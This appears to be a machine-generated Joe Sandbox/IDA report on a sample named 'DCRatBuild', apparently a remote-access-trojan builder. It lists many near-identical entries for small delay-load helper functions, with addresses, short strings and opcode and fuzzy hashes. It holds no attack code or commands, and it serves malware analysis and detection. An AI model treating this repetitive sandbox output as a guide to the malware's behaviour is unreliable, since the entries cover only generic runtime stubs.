
Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: ce8f1ffe534b8cd2b1399fdc30a7bef7d4e74f2ca6d869d9af26cbcb13d1e30a
Instruction ID: 8833afda92ec8463508864170c3ef86111c7c271e18db1f4158f363fdc67adff
Opcode Fuzzy Hash: ce8f1ffe534b8cd2b1399fdc30a7bef7d4e74f2ca6d869d9af26cbcb13d1e30a
Instruction Fuzzy Hash: B5B012C5B5A0007C310431672D06E3B010CC1D3F1D330803FF534C0485AC4C4D05043E

Function 004AE593 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A, 004AE593

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: 143a726b39b393d483d70884a666087891c2efe6d0b7e8e7ac2c557f0acb2b5b
Instruction ID: 3cb79207efbb62435487e60ae3a9deb6df7adb225bf5733fa946433ac7153a08
Opcode Fuzzy Hash: 143a726b39b393d483d70884a666087891c2efe6d0b7e8e7ac2c557f0acb2b5b
Instruction Fuzzy Hash: 9CB012C5B580047D324861972E02E37010CC1D6B19330842FF428C20C0E84C0C01053E

Function 004AE5A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: 6b8aceb01ca883b3e85b8311583c4edc3dad3c230a120af2c5c2beba4042a7e7
Instruction ID: 06e09bacbcd3b91866378ffb490aa5ece71c4cecd2d102af89fad9f2d692ca80
Opcode Fuzzy Hash: 6b8aceb01ca883b3e85b8311583c4edc3dad3c230a120af2c5c2beba4042a7e7
Instruction Fuzzy Hash: AEB012C5B580007C314861976F02E37011CC1D6B19330862FF428C2080EC4C0D12053E

Function 004AE5B1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE580

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

FjunJ, xrefs: 004AE57A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FjunJ
API String ID: 1269201914-1583188906
Opcode ID: 8f451ef56aca056d701983baf7fc0bba344ffff21f78a7b3323dae1c2a0022bb
Instruction ID: e53d61047aab310b4de45dcf52138d563ebfdf2bfc86462f64f209690bd81334
Opcode Fuzzy Hash: 8f451ef56aca056d701983baf7fc0bba344ffff21f78a7b3323dae1c2a0022bb
Instruction Fuzzy Hash: A6B012C5B581007C318861976E03E37011CC1D6B19330862FF428C2080E84C0C41053E

Function 004AE25F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 4b3af0f87d45d4cd2a545adeaedba49413f8fb32c1792bb94f8f223e4de9dc19
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 4b3af0f87d45d4cd2a545adeaedba49413f8fb32c1792bb94f8f223e4de9dc19
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: cd25c7d5cc1c419936256de1c4d6c5716938c141e48b194279b3587406ba7a0f
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: cd25c7d5cc1c419936256de1c4d6c5716938c141e48b194279b3587406ba7a0f
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE219 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 12c291c04a838c258caa20ff37802f98370324226f08fbf8122ce22f6b560efd
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 12c291c04a838c258caa20ff37802f98370324226f08fbf8122ce22f6b560efd
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2CD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: a13ab1ec20f42343648428da198abaac3d7bc9055a4ec0ffeb583d61816759f6
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: a13ab1ec20f42343648428da198abaac3d7bc9055a4ec0ffeb583d61816759f6
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2C3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 937fc82a8bf547d28d48fe74da7869b6cfe4313b9b369a82b927c5010c1f405c
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 937fc82a8bf547d28d48fe74da7869b6cfe4313b9b369a82b927c5010c1f405c
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2D7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 10a2094f7bdc777a3f115d02d28546ef40f0c8a3a36e58921d106537a131b89f
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 10a2094f7bdc777a3f115d02d28546ef40f0c8a3a36e58921d106537a131b89f
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE29B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 9e25f4bc439d2fdbf654ca51f9335576284fb371ae4605293afd6135f7fd88df
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 9e25f4bc439d2fdbf654ca51f9335576284fb371ae4605293afd6135f7fd88df
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE291 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: b01145e155bc42b1a54a4532233bf0cea8ddbe5e1df7f26adfa002df1a3b6e44
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: b01145e155bc42b1a54a4532233bf0cea8ddbe5e1df7f26adfa002df1a3b6e44
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2AF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 3770a1d446b389e866dfb1a962fbaf749066de8bc20e5d4865b7a53ec9d321bf
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 3770a1d446b389e866dfb1a962fbaf749066de8bc20e5d4865b7a53ec9d321bf
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2A5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 897fae13da712df572466ac49518156f3aff464a7d592df247e24f06040eaecd
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 897fae13da712df572466ac49518156f3aff464a7d592df247e24f06040eaecd
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE2B9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE1E3

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

J, xrefs: 004AE1DD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: J
API String ID: 1269201914-200179588
Opcode ID: 4e475341e4bcc868b80bbb4bc3208716f2710a2011bb1918a6c86fd22ca7a4b4
Instruction ID: e51637f16f7ea827328b7123e2d68ebb1851668b0801c7ebadb027b9215d1844
Opcode Fuzzy Hash: 4e475341e4bcc868b80bbb4bc3208716f2710a2011bb1918a6c86fd22ca7a4b4
Instruction Fuzzy Hash: 40A002E5559151FC314461535D86D37111DC5D6B55330452FF826C5485585C68451479

Function 004AE541 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: PDu<J
API String ID: 1269201914-2547070606
Opcode ID: 30bff3ab0c027b4cf0889fb735026935ef6b75688cc586fd2b96ac385f79dfce
Instruction ID: c7b42be724f1191b967e08a8b7537c0051d63d3d5a2fe1a731584e8b8937d0d6
Opcode Fuzzy Hash: 30bff3ab0c027b4cf0889fb735026935ef6b75688cc586fd2b96ac385f79dfce
Instruction Fuzzy Hash: C5A012C5A590017C300431432D02D3B010CC0D7F1C330441FF42580080684C0C010439

Function 004AE55F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
